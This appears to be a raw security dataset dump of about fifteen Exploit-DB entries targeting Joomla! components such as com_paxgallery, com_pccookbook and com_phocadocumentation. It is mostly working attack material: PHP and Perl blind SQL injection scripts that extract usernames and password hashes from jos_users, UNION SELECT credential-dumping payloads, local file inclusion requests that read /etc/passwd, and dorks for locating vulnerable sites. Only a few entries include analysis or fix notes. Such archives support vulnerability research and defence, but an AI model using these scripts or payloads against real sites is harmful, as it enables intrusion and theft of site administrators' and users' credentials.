deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11595
Description: Joomla! Component com_paxgallery - Blind Injection
Type: webapps
Platform: php
Date: 2010-02-27
Author: snakespc

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
#####################################################################
[»] Joomla com_paxgallery Remote Blind Injection Vulnerability
#####################################################################
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ Spécial >>>>His0k4 >>>>   Tous les hackers Algérie
[»] Dork: inurl:index.php?option=com_paxgallery
######################################################################
######################################################################
#  Joomla com_paxgallery (gid) Blind SQL Injection Exploit
#  [x] Usage: Snakespc.php "http://url/index.php?option=com_paxgallery&task=table&gid=1"
######################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>
Exploit-DB #39936
Description: Joomla! Component com_payplans 3.3.6 - SQL Injection
Type: webapps
Platform: php
Date: 2016-06-13
Author: Persian Hack Team

Exploit:
######################
# Exploit Title : Joomla com_payplans - SQL Injection
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://extensions.joomla.org/extension/payplans
# Category: [ Webapps ]
# Tested on: [ Win ]
# Version: 3.3.6
# Date: 2016/06/08
######################
#
# PoC:

# group_id Parameter Vulnerable To SQL

# Demo :

# http://server/index.php?option=com_payplans&group_id=4%27

# Youtube : https://www.youtube.com/watch?v=Y5mpM0IBlUk

######################
# Discovered by : Mojtaba MobhaM 
# Greetz : Muhmmad Emad & T3NZOG4N & FireKernel & Milad Hacking & JOK3R And All Persian Hack Team Members
# Homepage : persian-team.ir
######################
Exploit-DB #14499
Description: Joomla! Component com_pbbooking 1.0.4_3 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-07-29
Author: Salvatore Fresta

Exploit:
PBBooking 1.0.4_3 Joomla Component Multiple Blind SQL Injection

 Name              PBBooking
 Vendor            http://sourceforge.net/projects/pbbooking/
 Versions Affected 1.0.4_3

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-29

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

A simple, easy to use, calendaring and booking component
for Joomla.  PBBooking  offers live calendar integration
both   for   reading  availability   and   for   writing
appointments back to your calendar. 


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 

A) Multiple Blind SQL Injection
_______________________________

The  parameters timeslot and id passed to controller.php
when  the  task  option  is set respectively to save and
validate,  are  not properly sanitised before being used
in SQL queries.  This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code.

Affected code for id parameter:

function validate() {
		
    $pendingid = JRequest::getVar('id');
    $email = JRequest::getVar('email');
		
    $sql = "select * from #__pbbooking_pending where id = ".$pendingid;


Maybe,  the  injection caused by the id parameter may be
carried to a normal SQL injection,  but  because of some
errors  in  calendar.php,  currently it is not possible.
Are them errors present only on my webserver? If no, try
the following injection:

index.php?option=com_pbbooking&task=validate&email=ola@ola.com&id=-1 UNION SELECT 1,'ola@ola.com',3,4,5,6,7,8,9


IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

http://site/path/index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))


V. FIX
______

No fix.
Exploit-DB #11168
Description: Joomla! Component com_pc - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-17
Author: Pyske

Exploit:
<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_pc LFI Vulnerability
#############################################################

# Author : Pyske


# Name : com_pc


# Home : www.cyber-warrior.org


# Greez : N0kt4 , fl0rix , F0RTS3V3N , KaBaDaY&#305; , Blackapple All Cyber-warrior


# Bug Type : Local File Inlusion



# Demo Vuln. : http://server/index.php?option=com_pc&controller= [LFI]



#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_pc&controller=index.php?option=com_pc&controller=../../../../../../../etc/passwd%00

< -- bug code end of -- >
Exploit-DB #7846
Description: Joomla! Component com_pcchess - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-21
Author: InjEctOr5

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_pcchess (game_id) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                            == inject0r5 t3am ==
#
#     usegae : php file.php "http://site/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-21]
Exploit-DB #7824
Description: Joomla! Component com_pccookbook - 'recipe_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-19
Author: InjEctOr5

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                        \n";                                                             
  print "  #########################################################################\n";
  print "  #   \n";
  print "  #            Joomla com_pccookbook Blind sql injection exploit \n";
  print "  #   \n";
  print "  #                              Cyb3R-1sT \n";
  print "  #                       cyb3r-1st[at]hotmail.com \n";
  print "  #   \n";
  print "  #                Usage:perl file.pl host path <options> \n";
  print "  #            example: perl file.pl www.host.com /joomla/ -a 7 \n";
  print "  #   \n";
  print "  #                           Options:  -a id \n";
  print "  #   \n";
  print "  #########################################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"a"})
{
  $aid = $options{"a"};
}

syswrite(STDOUT, "[~] Password: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $aid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $aid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $aid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_pccookbook&page=viewrecipe&recipe_id=".$aid." and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "Ingredients";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2009-01-19]
Exploit-DB #5145
Description: Joomla! Component com_pccookbook - 'user_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: S@BUN

Exploit:
###############################################################
#
# joomla SQL Injection(com_pccookbook)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: com_pccookbook
#
# DORK 2 : allinurl: viewuserrecipes
#
DORK 3 : allinurl: "com_pccookbook"user_id

################################################################
EXPLOIT :

index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*


################################################################
# S@BUN               i AM NOT HACKER                 S@BUN
################################################################

# milw0rm.com [2008-02-18]
Exploit-DB #16001
Description: Joomla! Component com_people 1.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-16
Author: ALTBTA

Exploit:
####################################################################
>>>>> Author : altbta [altbta@gmail.com]
>>>>> Home : [xp10.com]
>>>>> Script : Joomla Component com_people
>>>>> Bug Type : Local File Inclusion Vulnerability
>>>>> Dork : inurl:"/index.php?option=com_people"
>>>>> Vendor : http://www.ptt-solution.com
####################################################################

===[ Exploit ]=== [LFI]

http://site/index.php?option=com_people&controller=../../../../../../../../../../../../../../../../../../etc/passwd%00


####################################################################
RxH & ab0-3th4b & MeTo & R3d-D3v!L &*
DR_ALWALEED<http://www.xp10.com/xp10/members/178149-DR_ALWALEED>
*
Exploit-DB #11024
Description: Joomla! Component com_perchagallery - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-06
Author: FL0RiX

Exploit:
########################################################################
# Joomla Component com_perchagallery SQL Injection Vulnerability

######################################################################## #
# Author :FL0RiX
#
# Name : com_perchagallery
#
# Bug Type : SQL Injection
#
# Infection : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://localhost/index.php?option=com_perchagallery&view=editunidad&id=[EXPLOIT]
#
#EXPLOIT : null/**/union/**/select/**/1,concat(username,0x3a,password)fl0rix,3,4,5,6/**/from/**/jos_users--
########################################################################
Exploit-DB #11920
Description: Joomla! Component com_personal - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_personal SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_personal SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_personal&pid=56&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_personal&pid=56&id=-1 UNION SELECT 1,2,3,4
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #7670
Description: Joomla! Component com_phocadocumentation - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-05
Author: EcHoLL

Exploit:
#!/usr/bin/perl -w


#Joomla com_phocadocumentation Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous

#[!] Module_Name: com_phocadocumentation
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_phocadocumentation"
########################################


system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_phocadocumentation(section&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_phocadocumentation&view=section&id=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2009-01-05]
Exploit-DB #35630
Description: Joomla! Component com_phocadownload - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-18
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47399/info

The 'com_phocadownload' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

http://www.example.com/index.php?option=com_phocadownload&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #37575
Description: Joomla! Component com_photo - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-08-06
Author: Chokri Ben Achor

Exploit:
source: https://www.securityfocus.com/bid/54814/info

The 'com_photo' module for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.np/index.php?option=com_photo&task=gallery&AlbumId=8[SQL Injection]

http://www.example.com/index.php?option=com_photo&action=slideview&key=16[SQL Injection]
Exploit-DB #11337
Description: Joomla! Component com_photoblog - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-06
Author: ALTBTA

Exploit:
Joomla (com_photoblog) Blind Sql Injection Vulnerability
========================================================

####################################################################
.:. Author : ALTBTA [L_9@HoTmIL.CoM]
.:. Home : v4-team.com/cc<http://v4-team.com/cc>
.:. Script : Joomla
.:. Download Script: http://webguerilla.net/downloads/3-components-for-joomla-1
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:"com_photoblog"

####################################################################

===[ Exploit ]===

www.site.com/detail.php?id=[Blind<http://www.site.com/detail.php?id=[Blind> SQL INJECTION]


www.site.com/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and<http://www.site.com/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and> substring(@@version,1,1)=5

####################################################################

Greats T0: aB0-3tH4b T3rR0r & RxH
Exploit-DB #12579
Description: Joomla! Component com_PHP 0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-12
Author: Chip d3 bi0s

Exploit:
Joomla Custom PHP Pages Component LFI Vulnerability
=====================================================

- Discovered by	: Chip D3 Bi0s
- Email		: chipdebios@gmail.com
- Date      	: 2010-05-11
- Where		: From Remote

----------------------------------
Affected software description

Application	: Joomla Custom PHP Pages Component 
Developer	: Gabe
Email		: gabe@fijiwebdesign.com
Type		: Non-Commercial
License		: GPL
Date Added	: 6 June 2008
Download	: http://joomla-php.googlecode.com/files/com_php0.1alpha1-J15.tar.gz


I. BACKGROUND

Joomla PHP Pages Component allows you to create simple PHP pages
and link them to the Joomla Menu. This allows you to easily create
a custom page without having to create a whole component. It is
similar to the PHP Module for Joomla, except that it is a full Component.

II. DESCRIPTION

Some LFI vulnerabilities exist in Joomla Custom PHP Pages Component.


III. ANALYSIS

The bug is in the following files, specifying the lines

/components/com_php/php.php

[35] $filename = $Params->get('file', '');
[36] $path = JPATH_ROOT.'/components/com_php/files/'.$filename;
    ...
[47] // evaluate the PHP
[48] echo '<div class="php_page">';
[49] if (is_file($path)) {
[50]	include($path);
[51] } else {
[52]	echo '<span class="note">Please choose a File</span>';

Explaining the above lines:
According to the code that files are opened, but the code is not
shows no filtration, so we can move into
directories. According to several extensions can be observed as
.html, .jpg, .js, which is not true of all .php



IV. EXPLOITATION

http://127.0.0.1/index.php?option=com_php&file=../images/phplogo.jpg
http://127.0.0.1/index.php?option=com_php&file=../js/ie_pngfix.js
http://127.0.0.1/index.php?option=com_php&file=../../../../../../../../../../etc/passwd


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++